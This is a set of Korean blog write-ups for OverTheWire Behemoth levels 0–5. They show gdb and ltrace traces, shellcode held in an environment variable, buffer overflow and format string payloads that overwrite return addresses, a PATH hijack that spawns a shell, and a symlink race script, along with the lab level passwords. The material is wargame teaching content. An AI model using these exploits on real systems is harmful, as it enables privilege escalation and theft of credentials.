behemoth5@melinda:/behemoth$ ltrace ./behemoth5                       

__libc_start_main(0x804873d, 1, 0xffffd784, 0x8048960 <unfinished ...>

fopen("/etc/behemoth_pass/behemoth6", "r")             = 0            

perror("fopen"fopen: Permission denied                                

)                                        = <void>                     

exit(1 <no return ...>                                                

+++ exited (status 1) +++                                             

behemoth5@melinda:/behemoth$      


behemoth5를 실행하면 아무 출력결과도 없이 바로 꺼진다. ltrace 명령어로 behemoth5를 실행해보니 권한이 없어서 더 이상 진행되지 않는다. 해당 파일을 로컬서버로 가져와서 실행해 보도록 하겠다.


[root@localhost behemoth]# scp behemoth5@behemoth.labs.overthewire.org:/behemoth/behemoth5 ./   

                                                                                          

This is the OverTheWire game server. More information on http://www.overthewire.org/wargames                                                                                        

                                                                                          

Please note that wargame usernames are no longer level<X>, but wargamename<X>            

e.g. vortex4, semtex2, ...                                                                

                                                                                          

Note: at this moment, blacksun is not available.                                          

                                                                                          

behemoth5@behemoth.labs.overthewire.org's password:                                       

behemoth5                                               100% 7903     7.7KB/s   00:00     


[root@localhost behemoth]# ltrace ./behemoth5                                      

(0x71951c, 0x719ab0, 0, 0, 0)                          = 0x7198e4                  

__libc_start_main(0x804873d, 1, 0xbfda4e34, 0x8048960, 0x80489d0 <unfinished ...>  

fopen("/etc/behemoth_pass/behemoth6", "r")             = 0                         

perror("fopen"fopen: No such file or directory                                     

)                                        = <void>                                  

exit(1 <unfinished ...>                                                            

+++ exited (status 1) +++                                                          

[root@localhost behemoth]# mkdir /etc/behemoth_pass/                   

[root@localhost behemoth]# echo "test" > /etc/behemoth_pass/behemoth6  

[root@localhost behemoth]# ltrace ./behemoth5                                     

(0x71951c, 0x719ab0, 0, 0, 0)                          = 0x7198e4                 

__libc_start_main(0x804873d, 1, 0xbf861384, 0x8048960, 0x80489d0 <unfinished ...> 

fopen("/etc/behemoth_pass/behemoth6", "r")             = 0x9377008                

fseek(0x9377008, 0, 2, 0, 0xbf861330)                  = 0                        

ftell(0x9377008, 0, 2, 0, 0xbf861330)                  = 5                        

rewind(0x9377008, 0, 2, 0, 0xbf861330)                 = 0                        

malloc(6)                                              = 0x9377170                

fgets("test\n", 6, 0x9377008)                          = 0x9377170                

strlen("test\n")                                       = 5                        

fclose(0x9377008)                                      = 0                        

gethostbyname("localhost" <unfinished ...>                                        

(3, 4, 0xbf860b44, 56, 4)                              = 0                        

(0, 0x80000000, 0, 0x71c000, 0x18fff0)                 = 0x7198e4                 

<... gethostbyname resumed> )                          = 0x345dc4                 

socket(2, 2, 0)                                        = 4                        

atoi(0x8048a34, 2, 0, 0, 0xbf861330)                   = 1337                     

htons(1337, 2, 0, 0, 0xbf861330)                       = 14597                    

memset(0xbf8612c4, '\000', 8)                          = 0xbf8612c4               

strlen("test\n")                                       = 5                        

sendto(4, 0x9377170, 5, 0, 0xbf8612bc)                 = 5                        

close(4)                                               = 0                        

exit(0 <unfinished ...>                                                           

+++ exited (status 0) +++                                                         

[root@localhost behemoth]# 



실행 결과를 보면 /etc/behemoth_pass/behemoth6를 읽어 localhost:1337로 전송한다. 하지만 strace명령어로 behemoth5를 실행해 socket 함수를 보면 socket(PF_INET, SOCK_DGRAM, IPPROTO_IP)로 실행하는 것을 볼수있다. 여기서 두번째 인자인 SOCK_DGRAM은 UDP 프로토콜로 전송한다는 의미니 netcat을 이용해 udp로 1337 포트를 열고 대기한 후 behemoth5를 실행해보도록 하자.


[root@localhost behemoth]# ./behemoth5 

[root@localhost behemoth]# nc -ul 1337 

test                 


behemoth5@melinda:/behemoth$ ./behemoth5                   

behemoth5@melinda:/etc$ nc -ul 1337

mayiroeche





'Challenge > OverTheWire - Behemoth' 카테고리의 다른 글

OverTheWire – Behemoth Level 5  (0) 2015.08.01
OverTheWire – Behemoth Level 4  (0) 2015.08.01
OverTheWire – Behemoth Level 3  (0) 2015.08.01
OverTheWire – Behemoth Level 2  (2) 2015.07.27
OverTheWire – Behemoth Level 1  (0) 2015.07.27
OverTheWire – Behemoth Level 0  (0) 2014.12.30

behemoth4@melinda:/tmp/zairo6$ ltrace /behemoth/behemoth4

__libc_start_main(0x80485dd, 1, 0xffffd784, 0x80486b0 <unfinished ...>

getpid()                                              = 21577

sprintf("/tmp/21577", "/tmp/%d", 21577)               = 10

fopen("/tmp/21577", "r")                              = 0

puts("PID not found!"PID not found!

)                                = 15

+++ exited (status 0) +++



ltrace로 behemoth4의 사용 라이브러리를 추적해보도록 하자. getpid() 함수로 실행 프로세스의 pid를 가져와 /tmp/ 뒤에 붙여 해당 파일을 읽어서 보여주는 프로그램인 듯 하다. 생각해보면 실행할때 미리 pid를 알 수 있다면 실행하기전 해당 경로에 심볼릭 링크로 key의 링크를 걸어두고 실행하면 key를 읽어서 보여주게 될 것이다.

필자는 python으로 스크립트를 작성하여 풀었다.


behemoth4@melinda:/tmp/zairo6$ vi behemoth4.py


#!/usr/bin/python
import os

argv0="/behemoth/behemoth4"

pid=os.fork()
b_pid = int(os.getpid())
print "[+] behemoth4 PID is maybe "+str(b_pid)
os.system("ln -s /etc/behemoth_pass/behemoth5 /tmp/"+str(b_pid))

if pid==0:
	os.execv(argv0, [argv0])
else:
	os.waitpid(pid, 0)


behemoth4@melinda:/tmp/zairo6$ python behemoth4.py

[+] behemoth4 PID is maybe 21160

[+] behemoth4 PID is maybe 21162

Finished sleeping, fgetcing

aizeeshing


'Challenge > OverTheWire - Behemoth' 카테고리의 다른 글

OverTheWire – Behemoth Level 5  (0) 2015.08.01
OverTheWire – Behemoth Level 4  (0) 2015.08.01
OverTheWire – Behemoth Level 3  (0) 2015.08.01
OverTheWire – Behemoth Level 2  (2) 2015.07.27
OverTheWire – Behemoth Level 1  (0) 2015.07.27
OverTheWire – Behemoth Level 0  (0) 2014.12.30

behemoth3@melinda:/tmp/zairo5$ export EGG="$(python -c 'print "\x90"*100+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')"


먼저 eggshell을 환경변수에 올려 놓는다.


behemoth3@melinda:/tmp/zairo5$ echo "$(python -c "print 'AAAA'+'\x48\xd6\xff\xff'+'%8x%8x%8x%8x%8x%4x'+'%n'")" > payload


이번 문제는 FSB 문제이다. 먼저 AAAA, 덮어쓸 주소, %x를 41414141이 나올때 까지 입력하고 뒤에 %n을 입력해준다. gdb에서 실행해야 되므로 /tmp/경로에 폴더를 만들고 paylaod로 저장해둔다.



(gdb) r < /tmp/zairo5/payload                                                    

Starting program: /games/behemoth/behemoth3 < /tmp/zairo5/payload                

Identify yourself: Welcome, AAAAH▒      c8f7fcac20       0       0f7ffd0004141414

                                                                                 

aaaand goodbye again.                                                            

                                                                                 

Breakpoint 1, 0x080484db in main ()                                              

(gdb) x/50x $esp                                                                 

0xffffd560:     0x0804858e      0x000000c8      0xf7fcac20      0x00000000       

0xffffd570:     0x00000000      0xf7ffd000      0x41414141      0xffffd648       

0xffffd580:     0x25783825      0x38257838      0x78382578      0x25783825       

0xffffd590:     0x6e257834      0xf7ff000a      0x00000000      0xf7fce2e8       

0xffffd5a0:     0x00000001      0x00000000      0x00000001      0xf7ffd938       

0xffffd5b0:     0x00000000      0x00000000      0x00000000      0x00000000       

0xffffd5c0:     0x00000003      0x00000009      0x04c0003f      0x00000000       

0xffffd5d0:     0xffffd684      0xffffd5f8      0xffffd5f0      0x08048262       

0xffffd5e0:     0xf7ffd938      0x00000000      0x000000c2      0xf7eb75b6       

0xffffd5f0:     0xffffffff      0xffffd61e      0xf7e2fbf8      0xf7e55f53       

0xffffd600:     0x00000000      0x00ca0000      0x00000001      0x08048301       

0xffffd610:     0xffffd81a      0x0000002f      0x0804977c      0x08048532       

0xffffd620:     0x00000001      0xffffd6e4                                       

(gdb)                                                                            

0xffffd628:     0xffffd6ec      0xf7e5610d      0xf7fca3c4      0xf7ffd000       

0xffffd638:     0x080484eb      0xf7fca000      0x080484e0      0x00000000       

0xffffd648:     0x00000038      0xf7e3ca63      0x00000001      0xffffd6e4       

0xffffd658:     0xffffd6ec      0xf7feacea      0x00000001      0xffffd6e4       

0xffffd668:     0xffffd684      0x08049798      0x08048230      0xf7fca000       

0xffffd678:     0x00000000      0x00000000      0x00000000      0x9c7bd4e7       

0xffffd688:     0xa44330f7      0x00000000      0x00000000      0x00000000       

0xffffd698:     0x00000001      0x08048380      0x00000000      0xf7ff0500       

0xffffd6a8:     0xf7e3c979      0xf7ffd000      0x00000001      0x08048380       

0xffffd6b8:     0x00000000      0x080483a1      0x0804847d      0x00000001       

0xffffd6c8:     0xffffd6e4      0x080484e0      0x08048550      0xf7feb180       

0xffffd6d8:     0xffffd6dc      0x0000001c      0x00000001      0xffffd81a       

0xffffd6e8:     0x00000000      0xffffd834                                       

(gdb) n                                                                          

Single stepping until exit from function main,                                   

which has no line number information.                                            

0xf7e3ca63 in __libc_start_main () from /lib32/libc.so.6                         

(gdb)




스택을 살펴보면 끝나는 주소와 같은 주소가 들어있는 부분이 있다. 이 부분이 RET라는 것을 눈치 챌 수 있을 것이다. 이제 저기의 주소를 덮어 써보도록 하겠다.


behemoth3@melinda:/tmp/zairo5$ echo "$(python -c "print 'AAAA'+'\x4c\xd6\xff\xff'+'%8x%8x%8x%8x%8x%4x'+'%n'")" > payload  



(gdb) r < /tmp/zairo5/payload                                                     

The program being debugged has been started already.                              

Start it from the beginning? (y or n) y                                           

                                                                                  

Starting program: /games/behemoth/behemoth3 < /tmp/zairo5/payload                 

Identify yourself: Welcome, AAAAL▒      c8f7fcac20       0       0f7ffd00041414141

                                                                                  

aaaand goodbye again.                                                             

                                                                                  

Breakpoint 1, 0x080484db in main ()                                               

(gdb) x/50x $esp                                                                  

0xffffd560:     0x0804858e      0x000000c8      0xf7fcac20      0x00000000        

0xffffd570:     0x00000000      0xf7ffd000      0x41414141      0xffffd64c        

0xffffd580:     0x25783825      0x38257838      0x78382578      0x25783825        

0xffffd590:     0x6e257834      0xf7ff000a      0x00000000      0xf7fce2e8        

0xffffd5a0:     0x00000001      0x00000000      0x00000001      0xf7ffd938        

0xffffd5b0:     0x00000000      0x00000000      0x00000000      0x00000000        

0xffffd5c0:     0x00000003      0x00000009      0x04c0003f      0x00000000        

0xffffd5d0:     0xffffd684      0xffffd5f8      0xffffd5f0      0x08048262        

0xffffd5e0:     0xf7ffd938      0x00000000      0x000000c2      0xf7eb75b6        

0xffffd5f0:     0xffffffff      0xffffd61e      0xf7e2fbf8      0xf7e55f53        

0xffffd600:     0x00000000      0x00ca0000      0x00000001      0x08048301        

0xffffd610:     0xffffd81a      0x0000002f      0x0804977c      0x08048532        

0xffffd620:     0x00000001      0xffffd6e4                                        

(gdb)                                                                             

0xffffd628:     0xffffd6ec      0xf7e5610d      0xf7fca3c4      0xf7ffd000        

0xffffd638:     0x080484eb      0xf7fca000      0x080484e0      0x00000000        

0xffffd648:     0x00000000      0x00000038      0x00000001      0xffffd6e4        

0xffffd658:     0xffffd6ec      0xf7feacea      0x00000001      0xffffd6e4        

0xffffd668:     0xffffd684      0x08049798      0x08048230      0xf7fca000        

0xffffd678:     0x00000000      0x00000000      0x00000000      0x35d66d6a        

0xffffd688:     0x0dee897a      0x00000000      0x00000000      0x00000000        

0xffffd698:     0x00000001      0x08048380      0x00000000      0xf7ff0500        

0xffffd6a8:     0xf7e3c979      0xf7ffd000      0x00000001      0x08048380        

0xffffd6b8:     0x00000000      0x080483a1      0x0804847d      0x00000001        

0xffffd6c8:     0xffffd6e4      0x080484e0      0x08048550      0xf7feb180        

0xffffd6d8:     0xffffd6dc      0x0000001c      0x00000001      0xffffd81a        

0xffffd6e8:     0x00000000      0xffffd834           

(gdb) x/50wx 0xffffd8a9                                                   

0xffffd8a9:     0x90909090      0x90909090      0x90909090      0x90909090

0xffffd8b9:     0x90909090      0x90909090      0x90909090      0x90909090

0xffffd8c9:     0x90909090      0x90909090      0x90909090      0x90909090

0xffffd8d9:     0x90909090      0x90909090      0x90909090      0x90909090

0xffffd8e9:     0x90909090      0x90909090      0x90909090      0x90909090

0xffffd8f9:     0x90909090      0x90909090      0x90909090      0x90909090

0xffffd909:     0x90909090      0xe1f7c931      0x2f2f6851      0x2f686873

0xffffd919:     0x896e6962      0xcd0bb0e3      0x53550080      0x623d5245

0xffffd929:     0x6d656865      0x3368746f      0x5f534c00      0x4f4c4f43

0xffffd939:     0x723d5352      0x3a303d73      0x303d6964      0x34333b31

0xffffd949:     0x3d6e6c3a      0x333b3130      0x686d3a36      0x3a30303d

0xffffd959:     0x343d6970      0x33333b30      0x3d6f733a      0x333b3130

0xffffd969:     0x6f643a35      0x3b31303d                                

(gdb)                                

(gdb) n                                                                           

Single stepping until exit from function main,                                    

which has no line number information.                                             

0x00000038 in ?? ()               



스택을 살펴보면 RET가 원하는대로 변조 된것을 확인 할 수 있다. 이제 변조 시킬수 있다는 것을 알았으니 어떠한 값으로 변조시킬지 알아보기 위해 아까 환경변수에 올려둔 eggshell의 주소를 찾아 기억해둔다. 여기서는 d8d9의 값 부터 먼저 바꿔보도록 하겠다. 16진수로 d8d9는 10진수로 55513이다. 하지만 앞의 문자열의 길이를 다 더하면 4+4+8+8+8+8+8= 48이므로 55513-48=55465로 덮어 씌워야한다.


behemoth3@melinda:/tmp/zairo5$ echo "$(python -c "print 'AAAA'+'\x4c\xd6\xff\xff'+'%8x%8x%8x%8x%8x'+'%55465c%n'")" > payload


(gdb) r < /tmp/zairo5/payload                                                     

The program being debugged has been started already.                              

Start it from the beginning? (y or n) y                                           

                                                                                  

Starting program: /games/behemoth/behemoth3 < /tmp/zairo5/payload                 

Identify yourself: Welcome, AAAAL▒      c8f7fcac20       0       0f7ffd00041414141

                                                                                  

aaaand goodbye again.                                                             

                                                                                  

Breakpoint 1, 0x080484db in main ()       

(gdb) n                                       

Single stepping until exit from function main,

which has no line number information.         

0x0000d8d9 in ?? ()                           

(gdb)                               


d8d9로 RET가 변경된 것을 확인 할 수 있다. 이제 d8d9 앞의 주소를 ffff로 변경해야 한다. 


behemoth3@melinda:/tmp/zairo5$ echo "$(python -c "print 'AAAA'+'\x4c\xd6\xff\xff'+'AAAA'+'\x4e\xd6\xff\xff'+'%8x%8x%8x%8x%8x'+'%55457c%n%10022c%n'")" > payload


이렇게 하면, 앞의 %n에는 4+4+8+8+8+8+8+55465 = 55513(D8D9)가 들어가고, 뒤의 %n에는 앞의 55513에 10022를 더한 65535(FFFF)가 들어가게 된다. 한번 실행해보도록 하자.



(gdb) r < /tmp/zairo5/payload                                                     

The program being debugged has been started already.                              

Start it from the beginning? (y or n) y                                           

                                                                                  

Starting program: /games/behemoth/behemoth3 < /tmp/zairo5/payload                 

Identify yourself: Welcome, AAAAL▒      c8f7fcac20       0       0f7ffd00041414141

                                                                                  

aaaand goodbye again.                                                             

                                                                                  

Breakpoint 1, 0x080484db in main ()   

(gdb) n                                         

Single stepping until exit from function main,  

which has no line number information.           

0xffffd8d9 in ?? ()                             

(gdb) q



RET가 원하는 대로 잘 변조 되었다.


behemoth3@melinda:/behemoth$ (python -c "print 'AAAA'+'\x4c\xd6\xff\xff'+'AAAA'+'\x4e\xd6\xff\xff'+'%8x%8x%8x%8x%8x'+'%55457c%n%10022c%n'";cat)| /behemoth/behemoth3   

aaaand goodbye again.                                                                    

                                                                

id                                                                                       

uid=13003(behemoth3) gid=13003(behemoth3) euid=13004(behemoth4) groups=13004(behemoth4),1

3003(behemoth3)                                                                          

cat /etc/behemoth_pass/behemoth4                                                         

ietheishei                                                                                                                          



'Challenge > OverTheWire - Behemoth' 카테고리의 다른 글

OverTheWire – Behemoth Level 5  (0) 2015.08.01
OverTheWire – Behemoth Level 4  (0) 2015.08.01
OverTheWire – Behemoth Level 3  (0) 2015.08.01
OverTheWire – Behemoth Level 2  (2) 2015.07.27
OverTheWire – Behemoth Level 1  (0) 2015.07.27
OverTheWire – Behemoth Level 0  (0) 2014.12.30

behemoth2@melinda:/behemoth$ ./behemoth2

touch: cannot touch '11656': Permission denied

^C

behemoth2@melinda:/behemoth$ mkdir /tmp/zairo4

behemoth2@melinda:/behemoth$ cd /tmp/zairo4

behemoth2@melinda:/tmp/zairo4$ ln -s /behemoth/behemoth2 behemoth2



behemoth2를 실행해보니 Permission denied 에러가 뜬다. /tmp 경로에 폴더를 만들어서 심볼릭 링크를 걸고 실행해보도록 하자.


behemoth2@melinda:/tmp/zairo4$ ltrace ./behemoth2

__libc_start_main(0x804856d, 1, 0xffffd794, 0x8048640 <unfinished ...>

getpid()                                              = 31284

sprintf("touch 31284", "touch %d", 31284)             = 11

__lxstat(3, "31284", 0xffffd688)                      = -1

unlink("31284")                                       = -1

system("touch 31284" <no return ...>

--- SIGCHLD (Child exited) ---

<... system resumed> )                                = 0

sleep(2000^C <no return ...>

--- SIGINT (Interrupt) ---

+++ killed by SIGINT +++



ltrace로 ./behemoth2를 보니 system 함수로 touch 명령어를 실행하고 sleep 함수로 2000초를 쉬는 것을 볼 수 있다. 하지만 명령어는 얼마든지 조작이 가능하다. 환경변수의 PATH는 기본 실행경로를 의미하는데 이를 다른 곳으로 바꿔버리면 기본적으로 그 경로에 있는 명령어를 실행하므로 touch라는 이름으로 다른 프로그램을 만들면 임의의 프로그램이 실행 가능해진다.



behemoth2@melinda:/tmp/zairo4$ echo "/bin/sh" > touch

behemoth2@melinda:/tmp/zairo4$ chmod +x ./touch

behemoth2@melinda:/tmp/zairo4$ export PATH=/tmp/zairo4/:$PATH


/bin/sh를 touch에 입력하고, 실행권한을 추가한 후 명령어 실행 우선순위를 주기 위해 현재의 경로를 PATH의 제일 앞 부분에 입력한다. 


behemoth2@melinda:/tmp/zairo4$ ./behemoth2

$ id

uid=13002(behemoth2) gid=13002(behemoth2) euid=13003(behemoth3) groups=13003(behemoth3),1

3002(behemoth2)

$ cat /etc/behemoth_pass/behemoth3

nieteidiel

$ exit

^C

behemoth2@melinda:/tmp/zairo4$




'Challenge > OverTheWire - Behemoth' 카테고리의 다른 글

OverTheWire – Behemoth Level 5  (0) 2015.08.01
OverTheWire – Behemoth Level 4  (0) 2015.08.01
OverTheWire – Behemoth Level 3  (0) 2015.08.01
OverTheWire – Behemoth Level 2  (2) 2015.07.27
OverTheWire – Behemoth Level 1  (0) 2015.07.27
OverTheWire – Behemoth Level 0  (0) 2014.12.30
  1. h4ck 2015.11.11 05:58

    대단하네요 리눅스를 배웠어도 이런문제는 처음보네요
    푸신분은 어떤식으로 이런 문제를 습득합니까? 궁금하네요
    처음부터 문제에 삽질을 주구장창 보면서 문제를 보는식인가요?
    아니면 인터넷 도움을 받아가거나 인터넷 문제를 보고 푼다음 자기껄로 만드는건가요?

    • zairo 2015.11.17 09:07 신고

      일단 기본적으로 모든 문제는 삽질로 시작합니다...
      최소 3일에서 7일정도 삽질을 해도 도저히 방법이 나오지 않는다면, Write up을 찾아서 전부 다 보는게 아니라 문제 푸는 방향을 잡는 곳 까지만 봅니다.
      그리고 다시 삽질을 반복하며 문제를 자기 것으로 만드는 것이 가장 좋은 방법이라고 생각합니다.

behemoth1@melinda:/tmp/zairo3$ export EGG="$(python -c 'print "\x90"*100+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')"


먼저 eggshell을 환경변수에 로드하고 gdb를 이용하여 스택을 자세히 보도록 하자.



behemoth1@melinda:/tmp/zairo3$ gdb -q /games/behemoth/behemoth1                      

Reading symbols from /games/behemoth/behemoth1...(no debugging symbols found)...done.

(gdb) disas main                                     

Dump of assembler code for function main:            

   0x0804845d <+0>:     push   %ebp                  

   0x0804845e <+1>:     mov    %esp,%ebp             

   0x08048460 <+3>:     and    $0xfffffff0,%esp      

   0x08048463 <+6>:     sub    $0x60,%esp            

   0x08048466 <+9>:     movl   $0x8048530,(%esp)     

   0x0804846d <+16>:    call   0x8048310 <printf@plt>

   0x08048472 <+21>:    lea    0x1d(%esp),%eax       

   0x08048476 <+25>:    mov    %eax,(%esp)           

   0x08048479 <+28>:    call   0x8048320 <gets@plt>  

   0x0804847e <+33>:    movl   $0x804853c,(%esp)     

   0x08048485 <+40>:    call   0x8048330 <puts@plt>  

   0x0804848a <+45>:    mov    $0x0,%eax             

   0x0804848f <+50>:    leave                        

   0x08048490 <+51>:    ret                          

End of assembler dump.                               

(gdb) br *main+50                                    

Breakpoint 1 at 0x804848f                            

(gdb) r                                    

Starting program: /games/behemoth/behemoth1

Password: AAAA                             

Authentication failure.                    

Sorry.                                     

                                           

Breakpoint 1, 0x0804848f in main ()                                                                      

(gdb) x/50x $esp+600                                                       

0xffffd838:     0x4f495353      0x44495f4e      0x3730313d      0x53003438 

0xffffd848:     0x4c4c4548      0x69622f3d      0x61622f6e      0x54006873 

0xffffd858:     0x3d4d5245      0x65726373      0x53006e65      0x435f4853 

0xffffd868:     0x4e45494c      0x30323d54      0x33322e33      0x39312e34 

0xffffd878:     0x3530312e      0x37383420      0x32203830      0x53530032 

0xffffd888:     0x54545f48      0x642f3d59      0x702f7665      0x342f7374 

0xffffd898:     0x434c0038      0x4c4c415f      0x4500433d      0x903d4747 

0xffffd8a8:     0x90909090      0x90909090      0x90909090      0x90909090 

0xffffd8b8:     0x90909090      0x90909090      0x90909090      0x90909090 

0xffffd8c8:     0x90909090      0x90909090      0x90909090      0x90909090 

0xffffd8d8:     0x90909090      0x90909090      0x90909090      0x90909090 

0xffffd8e8:     0x90909090      0x90909090      0x90909090      0x90909090 

0xffffd8f8:     0x90909090      0x90909090                            



leave 부분에 브레이크 포인터를 걸고 실행해보도록 하자. 아까 환경변수에 올린 eggshell 주소부터 찾아보도록 하자. 위를 보면 NOP이 여러개 깔린 것을 확이 할 수 있다. 이 주소로 RET를 변조시켜야하니 잘 기억해두도록 하자.



(gdb) x/50x $esp                                                              

0xffffd5e0:     0x0804853c      0x00000000      0x000000c2      0xf7eb75b6    

0xffffd5f0:     0xffffffff      0xffffd61e      0xf7e2fbf8      0x41414153    

0xffffd600:     0x00000041      0x00ca0000      0x00000001      0x080482d9    

0xffffd610:     0xffffd818      0x0000002f      0x08049730      0x080484f2    

0xffffd620:     0x00000001      0xffffd6e4      0xffffd6ec      0xf7e5610d    

0xffffd630:     0xf7fca3c4      0xf7ffd000      0x080484ab      0xf7fca000    

0xffffd640:     0x080484a0      0x00000000      0x00000000      0xf7e3ca63    

0xffffd650:     0x00000001      0xffffd6e4      0xffffd6ec      0xf7feacea    

0xffffd660:     0x00000001      0xffffd6e4      0xffffd684      0x0804974c    

0xffffd670:     0x0804821c      0xf7fca000      0x00000000      0x00000000    

0xffffd680:     0x00000000      0x0dbccff1      0x35842be1      0x00000000    

0xffffd690:     0x00000000      0x00000000      0x00000001      0x08048360    

0xffffd6a0:     0x00000000      0xf7ff0500                                    

(gdb) n                                                                       

Single stepping until exit from function main,                                

which has no line number information.                                         

0xf7e3ca63 in __libc_start_main () from /lib32/libc.so.6 




확인 해보면 실행할때 입력한 AAAA와 그 밑에 RET 주소가 있는 것을 확인 할 수 있다. 입력 값을 늘려 아래의 RET 주소를 덮어쓰고 원하는 주소로 바꿔주면 되는데 아까 환경변수에 로드한 eggshell 주소로 바꿔보도록 하겠다. 먼저 얼마나 덮어씌워야 RET를 덮어씌울수 있는 지 확인해보기 위해 RET의 주소에서 stdin의 주소를 뺀다.


(gdb) p (0xffffd640+12)-(0xffffd5f0+13)  

$1 = 79                                                              

(gdb) q          



79가 나왔다. 즉 79를 dummy로 채우고 그 뒤 RET로 변조할 주소를 입력하면 된다.



behemoth1@melinda:/tmp/zairo3$ (python -c "print 'A'*79+'\xc8\xd8\xff\xff'";cat) | /games/behemoth/behemoth1                                                                        

Password: Authentication failure.                                                         

Sorry.                                                                                    


id                                                                                        

uid=13001(behemoth1) gid=13001(behemoth1) euid=13002(behemoth2) groups=13002(behemoth2),13

001(behemoth1)                                                                            

cat /etc/behemoth_pass/behemoth2                                                          

eimahquuof                                                                                

exit                                                                                      


behemoth1@melinda:/tmp/zairo3$                                                                        





'Challenge > OverTheWire - Behemoth' 카테고리의 다른 글

OverTheWire – Behemoth Level 5  (0) 2015.08.01
OverTheWire – Behemoth Level 4  (0) 2015.08.01
OverTheWire – Behemoth Level 3  (0) 2015.08.01
OverTheWire – Behemoth Level 2  (2) 2015.07.27
OverTheWire – Behemoth Level 1  (0) 2015.07.27
OverTheWire – Behemoth Level 0  (0) 2014.12.30

ltrace는 라이브러리 들이 어떻게 호출 되고 있는지 알 수 있는 명령어이다.

behemoth0@melinda:/behemoth$ ls

behemoth0  behemoth1  behemoth2  behemoth3  behemoth4  behemoth5  behemoth6  behemoth6_reader  behemoth7

behemoth0@melinda:/behemoth$ ./behemoth0

Password: abc

Access denied..

behemoth0@melinda:/behemoth$ ltrace ./behemoth0

__libc_start_main(0x80485a2, 1, 0xffffd784, 0x8048690 <unfinished ...>

printf("Password: ")                                                              = 10

__isoc99_scanf(0x804876c, 0xffffd69b, 0xffffd690, 0x80482d2Password: abc

)                      = 1

strlen("OK^GSYBEX^Y")                                                             = 11

strcmp("abc", "eatmyshorts")                                                      = -1

puts("Access denied.."Access denied..

)                                                           = 16

+++ exited (status 0) +++

behemoth0@melinda:/behemoth$ ./behemoth0

Password: eatmyshorts

Access granted..

$ whoami

behemoth1

$ cat /etc/behemoth_pass/behemoth1

aesebootiv

$


'Challenge > OverTheWire - Behemoth' 카테고리의 다른 글

OverTheWire – Behemoth Level 5  (0) 2015.08.01
OverTheWire – Behemoth Level 4  (0) 2015.08.01
OverTheWire – Behemoth Level 3  (0) 2015.08.01
OverTheWire – Behemoth Level 2  (2) 2015.07.27
OverTheWire – Behemoth Level 1  (0) 2015.07.27
OverTheWire – Behemoth Level 0  (0) 2014.12.30

+ Recent posts